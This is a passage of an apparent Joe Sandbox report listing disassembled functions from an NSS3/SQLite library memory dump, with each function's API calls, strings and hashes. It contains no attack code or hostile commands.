Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 185cca3e745e2abd40b01165d44379d1c0c5cef8bad07472e9544650a834cdb1
Instruction ID: 36a3802d91327c88a16b41f07600394cdf2cfad1e0967a9ef4b4a7de9b4784ef
Opcode Fuzzy Hash: 185cca3e745e2abd40b01165d44379d1c0c5cef8bad07472e9544650a834cdb1
Instruction Fuzzy Hash: 9C728F75E062189FDF60CF28CD8879ABBB5AF49308F1441B9E90DA7741E7319A84CF91

Function 6C74E6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6C74DA6A,?,00000000,?,?), ref: 6C74E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6C74DA6A,?,00000000,?,?), ref: 6C74E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C74DA6F,///,00000003,?,?,00000000), ref: 6C74E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C74DA71,///,00000003), ref: 6C74E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74E8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C74E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74E978
memcmp.VCRUNTIME140(?,?,6C74DA6A), ref: 6C74E991
sqlite3_initialize.NSS3(?,?,00000000,?,6C74DA6A,?,00000000,?,?), ref: 6C74E9FA
memcpy.VCRUNTIME140(?,6C74DA6A,00000000,?,?,00000000), ref: 6C74EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6C74EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C74EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6C89E039,?), ref: 6C74EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6C74EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6C74EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6C74EC2E

Strings

cach, xrefs: 6C74E93A
no such vfs: %s, xrefs: 6C74EC15
file, xrefs: 6C74E738
//localhost/, xrefs: 6C74EC26
mode, xrefs: 6C74EC58
%s mode not allowed: %s, xrefs: 6C74ECB7
///, xrefs: 6C74E7A3, 6C74E7C2
no such %s mode: %s, xrefs: 6C74EB9A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: e7a928b7f301a02a09c5a368c9e22aeecade82db3afd619944b8e4011ebeb5ef
Instruction ID: 402d15b1206bcdeda99cb80b12255c589f2192da182a165b11b8b0497d03c0c5
Opcode Fuzzy Hash: e7a928b7f301a02a09c5a368c9e22aeecade82db3afd619944b8e4011ebeb5ef
Instruction Fuzzy Hash: F9F1F171E052198FEF20CBA9CA817AEFBB1BF05328F188539D86267A81D7355905C7E1

Function 6C708460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C7084FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C7088BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C7088CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7088E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C7088F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C708914

Part of subcall function 6C6F31C0: sqlite3_initialize.NSS3 ref: 6C6F31D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C708A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C708A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C708A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C708B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C708B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C708BAD

Strings

cannot limit WAL size: %s, xrefs: 6C709188

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: c5c8fe8864bc14735a236ad31cdb43bd0c18fe32b3e877e3a00b6d10b3a603e6
Instruction ID: 30c7e14cb590f08ad14b11bca248f8612bcf12eadd147a9edfddf689d51cfa93
Opcode Fuzzy Hash: c5c8fe8864bc14735a236ad31cdb43bd0c18fe32b3e877e3a00b6d10b3a603e6
Instruction Fuzzy Hash: 7A928EB1A083019FD714CF29D980A5AB7F1FFC8318F18892DE99987752E731E945CB82

Function 6C7CAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7CACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C7CACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C7CACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C7CAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C7CADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CADF0

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7CB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7CB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7CB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C7CB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7CB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7CB40C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: a2a9992f6430bca3eb203a23157f458294a968e420622799a7c7dea9c7d86f3d
Instruction ID: fcabc42fc92c57e4b9806c117780b603e695c41db71e6f4fffb8c3a58b3e9278
Opcode Fuzzy Hash: a2a9992f6430bca3eb203a23157f458294a968e420622799a7c7dea9c7d86f3d
Instruction Fuzzy Hash: 8422AE71A04302AFE710CF14CE49B9A77A1AF84308F148978F8595B792E772E959CB93

Function 6C754420 Relevance: 37.9, APIs: 10, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C754EE3

Strings

start of , xrefs: 6C75517A
a CHECK constraint, xrefs: 6C754D62, 6C754D6D, 6C754E95, 6C754EA0
40f-21a-21d, xrefs: 6C7544D0
-, xrefs: 6C754FBA
non-deterministic use of %s() in %s, xrefs: 6C754D71, 6C754EA4
a generated column, xrefs: 6C754D58, 6C754E8B
w=ul, xrefs: 6C7547FB
second, xrefs: 6C754BCA
w=ul, xrefs: 6C754431, 6C754E25, 6C75533D, 6C755536, 6C7555A0, 6C754A83, 6C754A99, 6C755313, 6C755325, 6C754CFC, 6C754A8C, 6C7551AC, 6C7548B9, 6C7546CD, 6C754786, 6C7548D5, 6C75490D, 6C755404, 6C755411, 6C75541E, 6C755365, 6C75537B, 6C75536E, 6C75542A, 6C755466, 6C7553C9, 6C755211, 6C754BA1, 6C755013, 6C75521D, 6C754C69, 6C75528B, 6C754691, 6C755058, 6C754E5E, 6C754FA4, 6C754FEB, 6C754FDF, 6C754F9D, 6C754E77, 6C754EDF, 6C754576, 6C754F90
an index, xrefs: 6C754D53, 6C754E86
weekday , xrefs: 6C7554AB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=ul$w=ul$weekday
API String ID: 39653677-3399059878
Opcode ID: a1bfdbc03b4008ba937cf4f790d506a25cfc60abc323bd98892f5029371b8fca
Instruction ID: 01a7e20943c0ee4d962f931d6f94f319173190f1687a8d64598e85c851570979
Opcode Fuzzy Hash: a1bfdbc03b4008ba937cf4f790d506a25cfc60abc323bd98892f5029371b8fca
Instruction Fuzzy Hash: 5CA226316087848FC721CF35C15036AB7E2EF86358F948A6DE8D55BB42EB35E8A6C741

Function 6C74ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C74ED38

Part of subcall function 6C6E4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C74EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C74EFE4

Part of subcall function 6C80DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C6E5001,?,00000003,00000000), ref: 6C80DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C74F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C74F129
sqlite3_mprintf.NSS3(optimize), ref: 6C74F1D1
sqlite3_free.NSS3(?), ref: 6C74F368

Strings

fts4, xrefs: 6C74F2AD
simple, xrefs: 6C74ED79
fts3, xrefs: 6C74F247
offsets, xrefs: 6C74EFAF, 6C74EFDF, 6C74F01F
fts4aux, xrefs: 6C74ECF9
porter, xrefs: 6C74ED97
fts3tokenize, xrefs: 6C74F30F
unicode61, xrefs: 6C74EDB5
fts3_tokenizer, xrefs: 6C74EE1A, 6C74EEA8
snippet, xrefs: 6C74EF05, 6C74EF37, 6C74EF7C
matchinfo, xrefs: 6C74F04F, 6C74F082, 6C74F0C2, 6C74F0F2, 6C74F124, 6C74F169
optimize, xrefs: 6C74F199, 6C74F1CC, 6C74F211

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: edf36d477899975dbb1ec3dc900c8fd93578b767e1a94e1b4b74ad93ad9eb7a6
Instruction ID: 14372bbb91e856db0b68d601fb4e31d884a7546e4a810416145f89524f838495
Opcode Fuzzy Hash: edf36d477899975dbb1ec3dc900c8fd93578b767e1a94e1b4b74ad93ad9eb7a6
Instruction Fuzzy Hash: 4002D0B1B043008BE7149F75AA8573B77B27BC560CF14893DD85A87B01EB74E94AC792

Function 6C78A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C7628AD,pkcs11:,00000007), ref: 6C78A501
PORT_Strdup_Util.NSS3(6C7628AD), ref: 6C78A514

Part of subcall function 6C7C0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C762AF5,?,?,?,?,?,6C760A1B,00000000), ref: 6C7C0F1A
Part of subcall function 6C7C0F10: malloc.MOZGLUE(00000001), ref: 6C7C0F30
Part of subcall function 6C7C0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7C0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6C78A529
PK11_GetInternalKeySlot.NSS3 ref: 6C78A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C78A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C78A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C78A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6C78A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6C78A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C78A9C3

Part of subcall function 6C7B0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6C78A8F5,00000000,?,00000010), ref: 6C7B097E
Part of subcall function 6C7B0960: memcmp.VCRUNTIME140(?,00000000,6C78A8F5,00000010), ref: 6C7B098D

free.MOZGLUE(00000000), ref: 6C78AB18
strchr.VCRUNTIME140(?,00000040), ref: 6C78AB40
free.MOZGLUE(?), ref: 6C78ABE1

Part of subcall function 6C784170: TlsGetValue.KERNEL32(?,6C7628AD,00000000,?,6C78A793,?,00000000), ref: 6C78419F
Part of subcall function 6C784170: EnterCriticalSection.KERNEL32(0000001C), ref: 6C7841AF
Part of subcall function 6C784170: PR_Unlock.NSS3(?), ref: 6C7841D4

Strings

object, xrefs: 6C78A5CF
pkcs11:, xrefs: 6C78A4FB
model, xrefs: 6C78A8CF
token, xrefs: 6C78A875
manufacturer, xrefs: 6C78A8A2

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 9eb833678397d9d39a06fd221d6a021779e12fc7afde5cfd2dc3d5f66d62fd9d
Instruction ID: e51fda7145075b9b447a972311c2374b1e7da1f0baf9860abc5dfabc35774236
Opcode Fuzzy Hash: 9eb833678397d9d39a06fd221d6a021779e12fc7afde5cfd2dc3d5f66d62fd9d
Instruction Fuzzy Hash: 9802A9B5D012189FFF215B359E49B9A7A75AF11318F1400B4E90CB2B52FB319E58CFA2

Function 6C7AA650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7AA670

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PK11_GetInternalKeySlot.NSS3 ref: 6C7AA67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C7AA69B

Part of subcall function 6C789520: PK11_IsLoggedIn.NSS3(00000000,?,6C7B379E,?,00000001,?), ref: 6C789542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7AA6C0
TlsGetValue.KERNEL32 ref: 6C7AA703
EnterCriticalSection.KERNEL32(?), ref: 6C7AA718
PR_Unlock.NSS3(?), ref: 6C7AA78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6C7AA7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7AA7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6C7AA818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7AA82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7AA868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7AA873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7AA884
PK11_FreeSymKey.NSS3(00000000), ref: 6C7AA894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7AA8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6C7AA8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8C0B04), ref: 6C7AA93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7AA952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7AA961
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7AA96E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: e2e78a7a9e9ba3a7ac4608673c8e3f33693abb1ed9af91df6ba225e6c40336a9
Instruction ID: af6b78e4192c34d3bb4fff965b6677fa06ace31e3ad550a3a4ac852a5cbab037
Opcode Fuzzy Hash: e2e78a7a9e9ba3a7ac4608673c8e3f33693abb1ed9af91df6ba225e6c40336a9
Instruction Fuzzy Hash: BA9106B5E002099FEB01DFE5DE49AAEB7B8AF15318F044635E814AB741F730D90ACB91

Function 6C78E6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C78E8AB
EnterCriticalSection.KERNEL32(?), ref: 6C78E8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6C78EA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C78EA6A
PORT_Alloc_Util.NSS3(?), ref: 6C78EB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C78EB23
memcpy.VCRUNTIME140(?,?), ref: 6C78EB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C78EB50
PR_SetError.NSS3(00000000,00000000), ref: 6C78EC0F
PR_Unlock.NSS3(?), ref: 6C78EC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C78EC7D
PR_Unlock.NSS3(?), ref: 6C78EC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C78ECCF
PR_GetCurrentThread.NSS3 ref: 6C78ED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C78ED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C78EDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6C78EDF6
memcpy.VCRUNTIME140(?,?), ref: 6C78EE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C78EE2B

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

free.MOZGLUE(?), ref: 6C78EE43

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: 563a4530da806278d62b8e675393f5eab9faa92502baf72977df610e439b7110
Instruction ID: aa205f2e8bf20f5ff4b9ca2aa72e208809259ecca9507b031549bcb11f340a5f
Opcode Fuzzy Hash: 563a4530da806278d62b8e675393f5eab9faa92502baf72977df610e439b7110
Instruction Fuzzy Hash: 1C324675A053099FDB10CF29C980A9ABBF1BF88308F14893DEA9997751D331E844CF92

Function 6C752560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7525B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6C7525DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6C752604
sqlite3_initialize.NSS3 ref: 6C75269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6C7526D6
sqlite3_initialize.NSS3 ref: 6C75289F
EnterCriticalSection.KERNEL32(?), ref: 6C7529CD
LeaveCriticalSection.KERNEL32(?), ref: 6C752A26
sqlite3_free.NSS3(?), ref: 6C752B30

Strings

readonly_shm, xrefs: 6C7526CE
winShmMap3, xrefs: 6C752C08, 6C752C3D
winShmMap1, xrefs: 6C752AB0
winShmMap2, xrefs: 6C752BD0
winFileSize, xrefs: 6C752A7D
%s-shm, xrefs: 6C7525FD
winOpenShm, xrefs: 6C752B7E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

